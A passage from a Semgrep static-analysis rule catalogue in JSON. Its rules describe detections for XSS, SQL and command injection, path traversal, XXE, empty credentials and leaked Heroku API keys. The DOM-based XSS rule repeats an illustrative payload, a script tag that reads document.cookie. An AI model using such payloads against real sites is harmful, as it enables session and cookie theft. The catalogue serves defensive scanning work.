Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.angular.angular-route-bypass-security-trust.angular-route-bypass-security-trust"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"help":{"markdown":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss)\n - [https://owasp.org/www-community/attacks/DOM_Based_XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS)\n","text":"Detected possible DOM-based XSS. This occurs because a portion of the URL is being used to construct an element added directly to the page. For example, a malicious actor could send someone a link like this: http://www.some.site/page.html?default=<script>alert(document.cookie)</script> which would add the script to the page. Consider allowlisting appropriate values or using an approach which does not involve the URL."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.dom-based-xss.dom-based-xss","id":"javascript.browser.security.dom-based-xss.dom-based-xss","name":"javascript.browser.security.dom-based-xss.dom-based-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.dom-based-xss.dom-based-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"help":{"markdown":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request)\n - [https://cwe.mitre.org/data/definitions/95.html](https://cwe.mitre.org/data/definitions/95.html)\n","text":"Passing unsanitized user input to a Script Engine or other means of dynamic code evaluation is unsafe. This could lead to code injection with data leakage or arbitrary code execution as a result. Avoid this, or use proper sandboxing if user code evaluation is intended."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","id":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","name":"java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request.tainted-code-injection-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.sqlx-taint.sqlx-taint","id":"rust.rocket.sql.sqlx-taint.sqlx-taint","name":"rust.rocket.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","id":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","name":"rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.pg-connection-empty-password.pg-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"help":{"markdown":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"These permissions `$BITS` are widely permissive and grant access to more people than may be necessary. A good default is `0o644` which gives read and write access to yourself and read access to everyone else."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","id":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","name":"python.lang.security.audit.insecure-file-permissions.insecure-file-permissions","properties":{"precision":"very-high","tags":["CWE-276: Incorrect Default Permissions","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-file-permissions.insecure-file-permissions"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.sqlite-express.sqlite-express","id":"javascript.express.db.sqlite-express.sqlite-express","name":"javascript.express.db.sqlite-express.sqlite-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.sqlite-express.sqlite-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"help":{"markdown":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls)\n - [https://golang.org/pkg/net/http/#ListenAndServeTLS](https://golang.org/pkg/net/http/#ListenAndServeTLS)\n","text":"Found an HTTP server without TLS. Use 'http.ListenAndServeTLS' instead. See https://golang.org/pkg/net/http/#ListenAndServeTLS for more information."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.use-tls.use-tls","id":"go.lang.security.audit.net.use-tls.use-tls","name":"go.lang.security.audit.net.use-tls.use-tls","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.use-tls.use-tls"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","id":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","name":"python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-stdlib-flask.tainted-path-traversal-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/returntocorp/java-xxe-research](https://github.com/returntocorp/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","id":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","name":"kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe","properties":{"precision":"very-high","tags":["CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.xxe.documentbuilderfactory-xxe.documentbuilderfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"help":{"markdown":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createspan?view=net-6.0)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.memorymarshal.createreadonlyspan?view=net-6.0)\n","text":"MemoryMarshal.CreateSpan and MemoryMarshal.CreateReadOnlySpan should be used with caution, as the length argument is not checked."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","id":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","name":"csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.memory.memory-marshal-create-span.memory-marshal-create-span"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"help":{"markdown":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://www.youtube.com/watch?v=yYTkLUEdIyE](https://www.youtube.com/watch?v=yYTkLUEdIyE)\n - [https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough](https://www.veracode.com/blog/secure-development/nodejs-template-engines-why-default-encoders-are-not-enough)\n","text":"Detected a template variable used in a script tag. Although template variables are HTML escaped, HTML escaping does not always prevent cross-site scripting (XSS) attacks when used directly in JavaScript. If you need to do this, use `escape_javascript` or its alias, `j`. However, this will not protect from XSS in all circumstances; see the references for more information. Consider placing this value in the HTML portion (outside of a script tag)."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","id":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","name":"ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.templates.var-in-script-tag.var-in-script-tag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy)\n - [https://docs.cherrypy.dev/en/latest/tutorials.html](https://docs.cherrypy.dev/en/latest/tutorials.html)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","id":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","name":"python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.cherrypy.os.tainted-os-command-stdlib-cherrypy.tainted-os-command-stdlib-cherrypy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"help":{"markdown":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled)\n - [https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance](https://cheatsheetseries.owasp.org/cheatsheets/DotNet_Security_Cheat_Sheet.html#asp-net-web-forms-guidance)\n - [https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx](https://msdn.microsoft.com/en-us/library/e8z01xdh.aspx)\n","text":"OWASP guidance recommends disabling tracing for production applications to prevent accidental leakage of sensitive application information."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","id":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","name":"csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled","properties":{"precision":"very-high","tags":["CWE-1323: Improper Management of Sensitive Trace Data","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.net-webconfig-trace-enabled.net-webconfig-trace-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Heroku API Key detected"},"help":{"markdown":"Heroku API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Heroku API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","id":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","name":"generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-heroku-api-key.detected-heroku-api-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware 